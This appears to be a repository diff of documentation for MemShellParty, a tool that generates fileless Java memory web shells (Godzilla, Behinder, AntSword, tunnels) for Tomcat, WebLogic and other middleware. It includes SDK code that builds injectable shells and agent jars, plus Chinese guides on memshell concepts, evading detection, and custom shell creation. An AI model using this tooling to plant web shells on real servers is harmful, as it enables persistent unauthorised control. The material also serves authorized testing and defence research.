> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
> [!TIP]
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
What you can learn or try from this project:
1. Learn to write java memshell for common middleware and frameworks.
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../asserts/normal_generator.png)
![agent_generator](../asserts/agent_generator.png)
## Key Features
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- Minimal Size: Strives to minimize memshell size for efficient transfer.
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
## Quick Start
### Online Preview
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
### Local Deployment (Recommended)
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
After deploying with Docker, access the service at http://127.0.0.1:8080
```bash
# Pull the latest image from Docker Hub
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
# Pull the latest image from Github Container Registry
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
# If network quality is poor, use the Nanjing University Github Container Registry mirror
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
```
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
```bash
# Remove the previously deployed container
docker rm -f memshell-party
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK Integration into Existing Tools
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
1. Add the dependency using Maven or Gradle:
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: "+result.getInjectorClassName());
System.out.println("MemShell Class Name: "+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
```
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: " + result.getInjectorClassName());
System.out.println("MemShell Class Name: " + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## Compatibility
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
### Middleware and Frameworks
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### MemShell Functionality
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder](https://github.com/rebeyond/Behinder)
- [x] Command Execution
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### Packaging Methods
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] Built-in ScriptEngine, Rhino ScriptEngine
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] Native DeserializationCB and CC
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
- [ ] JNDI
- [ ] JDBC Connection
- [ ] Other common deserialization
## Local Build
### Building from Source Code
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
1. Clone the project using Git:
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
```bash
cd MemShellParty/web
bun install
bun run build
```
3. Build the backend project. Ensure you are using a JDK 17 environment.
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
Alternatively, you can build a Docker container from the built artifacts:
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Building with Dockerfile Directly
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
Download the [Dockerfile](../Dockerfile) from the project root.
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
```bash
# Basic build (defaults to root path "/")
docker buildx build \
--build-arg VERSION=1.7.0 \
-t memshell-party:latest . --load
# Run the basic image, access at http://127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# Build with custom access path (e.g., /memshell-party)
docker buildx build \
--build-arg VERSION=1.7.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
Ensure that the `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party` and
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
> Any feedback or issue discussion you provide is a contribution to this project.
> It will be so nice if you want to contribute. 🎉
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
2. If you are skilled in writing memory shells, try adding support for a new type or target.
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
## Thanks
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
### Let's start the party 🎉
+178
View File
@@ -0,0 +1,178 @@
# 学习 Java 内存马推荐工具
> 工欲善其事必先利其器
## Arthas
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
JDK8 以上的下载链接,https://arthas.aliyun.com/doc/download.html
JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html
### 启动 Arthas
直接输入 `java -jar arthas-boot.jar` 启动,回车之后会弹出选项,输入数字选择需要调试的 Java 进程。
```bash
java -jar arthas-boot.jar
[INFO] JAVA_HOME: /Users/reajason/.sdkman/candidates/java/21.0.5-oracle
[INFO] arthas-boot version: 4.0.5
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 83922 /Users/reajason/.vscode/extensions/sonarsource.sonarlint-vscode-4.19.0-darwin-arm64/server/sonarlint-ls.jar
[2]: 86557 com.intellij.idea.Main
```
有时候可能没有 jps 命令或者不是 HotSpot JVM 会找不到 Java 进程,此时你需要通过 `ps` 找到你需要调试的 Java 进程 PID,并使用 `java -jar arthas-boot.jar <pid>` 启动。
```bash
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar
[INFO] JAVA_HOME: /opt/java/openjdk
[INFO] arthas-boot version: 4.0.5
[INFO] Can not find java process. Try to run `jps` command lists the instrumented Java HotSpot VMs on the target system.
Please select an available pid.
```
arthas-boot 依赖 JDK 环境需要 tools.jar 才能启动,在 JRE 环境会歇菜。
```bash
root@df393b860ae3:/opt/arthas# ps -ef | grep java
root 1 0 3 14:19 ? 00:00:01 /opt/java/openjdk/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start
root 87 50 0 14:20 pts/0 00:00:00 grep --color=auto java
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
[INFO] JAVA_HOME: /opt/java/openjdk
[INFO] arthas-boot version: 4.0.5
[INFO] arthas home: /opt/arthas
[INFO] Try to attach process 1
Exception in thread "main" java.lang.IllegalArgumentException: Can not find tools.jar under java home: /opt/java/openjdk, please try to start arthas-boot with full path java. Such as /opt/jdk/bin/java -jar arthas-boot.jar
at com.taobao.arthas.boot.ProcessUtils.findJavaHome(ProcessUtils.java:222)
at com.taobao.arthas.boot.ProcessUtils.startArthasCore(ProcessUtils.java:233)
at com.taobao.arthas.boot.Bootstrap.main(Bootstrap.java:590)
```
前面说了 Arthas 本质就是 Java Agent,因此使用 [jattach](https://github.com/jattach/jattach/releases/latest) 工具将其注入,再尝试连接即可。
TIP1: **注入的是 `/opt/arthas/arthas-agent.jar`**
TIP2: **启动仍然用的 `arthas-boot.jar`**
```bash
root@df393b860ae3:/opt/arthas# ./jattach-linux 1 load instrument false /opt/arthas/arthas-agent.jar
Connected to remote JVM
JVM response code = 0
0
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
[INFO] JAVA_HOME: /opt/java/openjdk
[INFO] arthas-boot version: 4.0.5
[INFO] arthas home: /opt/arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658
,---. ,------. ,--------.,--. ,--. ,---. ,---.
/ O \ | .--. ''--. .--'| '--' | / O \ ' .-'
| .-. || '--'.' | | | .--. || .-. |`. `-.
| | | || |\ \ | | | | | || | | |.-' |
`--' `--'`--' '--' `--' `--' `--'`--' `--'`-----'
wiki https://arthas.aliyun.com/doc
tutorials https://arthas.aliyun.com/doc/arthas-tutorials.html
version 4.0.5
main_class org.apache.catalina.startup.Bootstrap start
pid 1
start_time 2025-04-09 14:19:48.004
currnt_time 2025-04-09 14:23:16.044
[arthas@1]$
```
当看到大片上述输出,且命令提示符变成 `[arthas@1]$` 你就成功进入 Arthas 了,接下来让我们看看有哪些好用的命令吧。
### jad
> [官方文档/jad.html](https://arthas.aliyun.com/doc/jad.html)
jad 命令是用来查看反编译后的类源码。除了源码信息,还能查看是哪一个 classloader 加载的当前类,以及 classloader 的继承关系,还能看到当前类存在在哪个 jar 文件中(如果有的话),拖到 IDEA 里面就能进行调试啦。
- `jad org.apache.lESNa.EncryptionUtil`,查看类源码完整信息。
- `jad org.apache.catalina.core.ApplicationFilterChain doFilter`,仅查看 doFilter 方法的源码。
![arthas_jad1](./images/arthas_jad1.png)
![arthas_jad2](./images/arthas_jad2.png)
如果回车之后显示找不到类的话,可能拼写错误,或类还没有被加载到 JVM 中,可以先尝试访问类依赖的业务路径,触发类加载之后再进行 jad。
### classloader
> [官方文档/classloader.html](https://arthas.aliyun.com/doc/classloader.html)
classloader 用来查看类加载器信息。
- `classloader` 查看当前有哪些类加载器,以及其类加载情况
- `classloader -t` 查看类加载器继承关系
- `classloader -c <hash>` 指定类加载实例 hash 查看其 urls
![arhtas_classloader](./images/arthas_classloader.png)
此处的分析将会在 Java 基础中提及,有些 ClassNotFoundException 或 ClassCastException 可以通过此种方式找到问题所在。
### sc
> [官方文档/sc.html](https://arthas.aliyun.com/doc/sc.html)
sc 即 search-class,用来查找 JVM 中的类信息。常用的一种方式是查看 interface 的所有实现类。
- `sc javax.servlet.Servlet`,查看 Servlet 实现类有哪些
- `sc javax.servlet.ServletContext`,查看 ServletContext 实现类有哪些
- `sc -d org.apache.catalina.core.ApplicationContext`,查看类的详细信息,这样我们能定位到 jar 拖出来进行反编译分析。
![arthas_sc](./images/arthas_sc.png)
### stop
执行 stop 退出当前 Arthas 命令行环境,回到 Unix shell。
```
[arthas@1]$ stop
Resetting all enhanced classes ...
Affect(class count: 0 , method count: 0) cost in 2 ms, listenerId: 0
Arthas Server is going to shutdown...
[arthas@1]$ session (c5ee97b5-6809-48ab-bdfc-09d900087ec9) is closed because server is going to shutdown.
```
## Jadx
> [skylot/jadx](https://github.com/skylot/jadx)
目前 Java 最强反编译器,人手一个,几乎可以反编译任何 jar 包,部分究极混淆的类,即使无法反编译成功,也可查看字节码。
打开之后,可以直接将 class 或 jar 拖入到左边框中就会自动进行反编译,点击 Source Code 里面就能看到反编译的结果,最下面可以选 Code、Smali 等等,一般 Code 里面反编译失败才需要切换,其他功能可查看 [记录 Rainbow Brackets 插件破解](https://reajason.eu.org/writing/rainbowbracketscracked/) 了解一下常用的操作。
![jadx_interface](./images/jadx_interface.png)
## File Expander — IDEA 插件
IDEA 自带反编译功能,并且使用习惯之后也是相当好用。但是有一个问题,如果 jar 包中套 jar 包,那么里面的 jar 包并不会默认展开,自然想到的办法就是解压 一次 jar,把里面的东西弄出来,但是有了 File Expander 插件之后,无论是 zip 还是 jar in jar,都轻松查看了。
![idea_plugins](./images/idea_plugins.png)
下图演示了 java-chains-1.4.0.jar,直接可以 expand 到 chains-core,开学!!!,这种情况下不比 jadx 要好用。
![idea_javachains](./images/idea_javachains.png)
## Find 命令
在批量查找当前目录下某个类存在于那个 jar 文件中,需要使用到 find 命令协助,由于需要用到 jar 命令,因此依赖 JDK 环境。JRE 环境下,可以将文件打包发送到 JDK 环境再继续研究。
在 tomcat 目录下,找到 ApplicationContext 在哪个 jar 文件中。
```bash
░▒▓ ~/workspace/apache-tomcat-8.5.96
find . -name "*.jar" -type f -exec sh -c 'jar tvf "{}" | grep -q "org/apache/catalina/core/ApplicationContext" && echo "Found in: {}"' \;
Found in: ./lib/catalina.jar
```
部分环境下,例如 WAS 可能并没有设置 Java Home,此时 jar 命令使用绝对路径即可。
```bash
[was@59385194e5aa AppServer]$ find . -name "*.jar" -type f -exec sh -c '/opt/IBM/WebSphere/AppServer/java/bin/jar tvf "{}" | grep -q "com/ibm/ws/webcontainer/webapp/WebApp" && echo "Found in: {}"' \;
Found in: ./plugins/com.ibm.ws.webcontainer.jar
```
+41
View File
@@ -0,0 +1,41 @@
# Java 内存马简介
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
## 什么是 webshell
> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell)
webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。
常见的 webshell 功能包括:
1. 命令回显,反弹 unix shell
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
## 演变历程
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
## 常见 Java 内存马
在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。
冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 ListenerTomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、InterceptorSpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
## 延伸阅读
- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq)
- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451)
- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html)
+54
View File
@@ -0,0 +1,54 @@
## 如何使用自定义内存马功能
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
```java
Object context = getContext();
Object shell = defineClass(getShellBase64Str());
inject(context, shell);
```
自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。
注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。
### 实现参考
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
jakarta,无须重复实现。
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
方法上,因此推荐按参考实现一样使用空实现。
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`
`javax.crypto.Cipher`
| 挂载类型 | 参考实现 |
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
### 参考步骤
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
3. 执行 `./gradlew :memshell:compileJava``.\gradlew.bat :memshell:compileJava`
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
Binary file not shown.

After

Width:  |  Height:  |  Size: 174 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 282 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 232 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 KiB

+101
View File
@@ -0,0 +1,101 @@
# Java Servlet Filter
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。
## Filter 配置
Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价
```xml
<filter-mapping>
<filter-name>Multipe Mappings Filter</filter-name>
<url-pattern>/foo/*</url-pattern>
<servlet-name>Servlet1</servlet-name>
<servlet-name>Servlet2</servlet-name>
<url-pattern>/bar/*</url-pattern>
</filter-mapping>
```
```java
@WebFilter(
filterName = "Multipe Mappings Filter",
urlPatterns = {"/foo/*", "/bar/*"},
servletNames = {"Servlet1", "Servlet2"}
)
public class MultipeMappingsFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// TODO
}
}
```
## doFilter
